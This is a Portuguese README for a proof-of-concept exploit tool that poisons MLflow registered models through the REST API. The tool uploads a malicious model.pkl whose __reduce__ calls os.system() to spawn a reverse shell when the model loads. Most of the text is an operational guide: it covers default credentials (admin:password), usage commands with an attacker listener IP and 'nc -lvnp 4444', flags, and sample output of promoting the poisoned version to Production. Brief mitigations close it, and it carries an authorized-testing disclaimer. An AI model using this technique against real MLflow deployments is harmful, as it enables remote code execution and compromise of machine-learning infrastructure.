
Proof-of-concept que envenena modelos registrados no MLflow através da API REST, incorporando um pickle malicioso para acionar RCE quando o modelo é carregado.
Prova de conceito genérica para RCE por desserialização de pickle contra registros de modelos do MLflow (estilo CVE-2024-37054). Comunica-se apenas com a API REST do MLflow — sem suposições sobre qualquer aplicação cliente específica à sua frente.
⚠️ Apenas para testes de segurança autorizados. Execute isto somente contra sistemas que você possui ou está explicitamente autorizado a testar (ambientes de CTF/laboratório, engajamentos com escopo assinado, etc.). O acesso não autorizado a sistemas de computador é ilegal na maioria das jurisdições.
O flavor pyfunc do MLflow carrega um modelo registrado fazendo unpickling de um
artefato model.pkl sempre que mlflow.pyfunc.load_model() é chamado —
seja isso acionado diretamente pela UI/API do MLflow, ou
indiretamente por alguma aplicação cliente executando inferência contra um
modelo registrado.
O módulo pickle do Python pode executar código arbitrário durante a
desserialização através do método __reduce__ de um objeto. Se um atacante tiver
acesso suficiente à API do MLflow para:
...ele pode contrabandear um pickle malicioso como model.pkl. Na próxima vez que
qualquer coisa carregar essa versão do modelo, o código do atacante será executado no
contexto do processo que faz o carregamento (o próprio servidor MLflow, ou
uma aplicação cliente que incorpora o MLflow).
Esta é a mesma primitiva subjacente por trás de várias CVEs do MLflow,
incluindo CVE-2023-6015, CVE-2023-6018 e CVE-2024-37054. É
particularmente perigosa porque instâncias do MLflow são frequentemente implantadas
com nenhuma autenticação, ou com credenciais padrão bem conhecidas
(admin:password).
Puramente orientado por API, na seguinte ordem:
--model-name).model.pkl — um pickle cujo __reduce__ chama os.system() para
gerar um reverse shell.MLmodel — o manifesto declarando um flavor python_function /
sklearn respaldado por esse pickle.Production), já que muitas aplicações cliente só carregam a
versão de um modelo no estágio Production.Ele não descobre nem aciona o carregamento real do modelo — essa parte é diferente para cada implantação:
mlflow.pyfunc.load_model() por trás de algum endpoint (uma rota /predict,
um job em lote agendado, etc).Você precisa:
--model-name alvo por conta própria — da UI do MLflow, da
API do MLflow (/api/2.0/mlflow/registered-models/search), ou do que
uma aplicação cliente retornar quando ela registra um modelo em seu
nome.pip install requests --break-system-packages
Python 3.8+. Nenhuma outra dependência.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Inicie um listener antes ou depois de executar:
nc -lvnp 4444
Em seguida, acione o carregamento da forma como a aplicação alvo o faz (seu próprio endpoint de inferência, um job em lote, carregar o modelo manualmente pela UI do MLflow, etc).
| Flag | Padrão | Descrição |
|---|---|---|
--mlflow | (obrigatório) | URL base do MLflow |
--model-name | aleatório | Nome do modelo registrado a envenenar; criado se não existir |
--lhost | (obrigatório) | IP do seu listener |
--lport | 4444 | Porta do seu listener |
--username | admin | Nome de usuário da autenticação básica do MLflow |
--password | password | Senha da autenticação básica do MLflow |
--experiment-id | 0 | ID do experimento sob o qual criar a execução |
--stage | Production | Estágio para o qual promover a versão maliciosa, ou none para pular a transição |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password) em vigor.pickle (por exemplo, ONNX,
ou flavors com serialização mais segura), ou valide/coloque em sandbox o
carregamento de modelos.registered-models/create,
model-versions/create e transition-stage nos logs de
auditoria/acesso do MLflow, especialmente de contas que não deveriam estar
publicando modelos em Production.load_model()) para que uma primitiva de
execução de código ali não tenha um caminho direto para sistemas internos
sensíveis.MIT — veja LICENSE.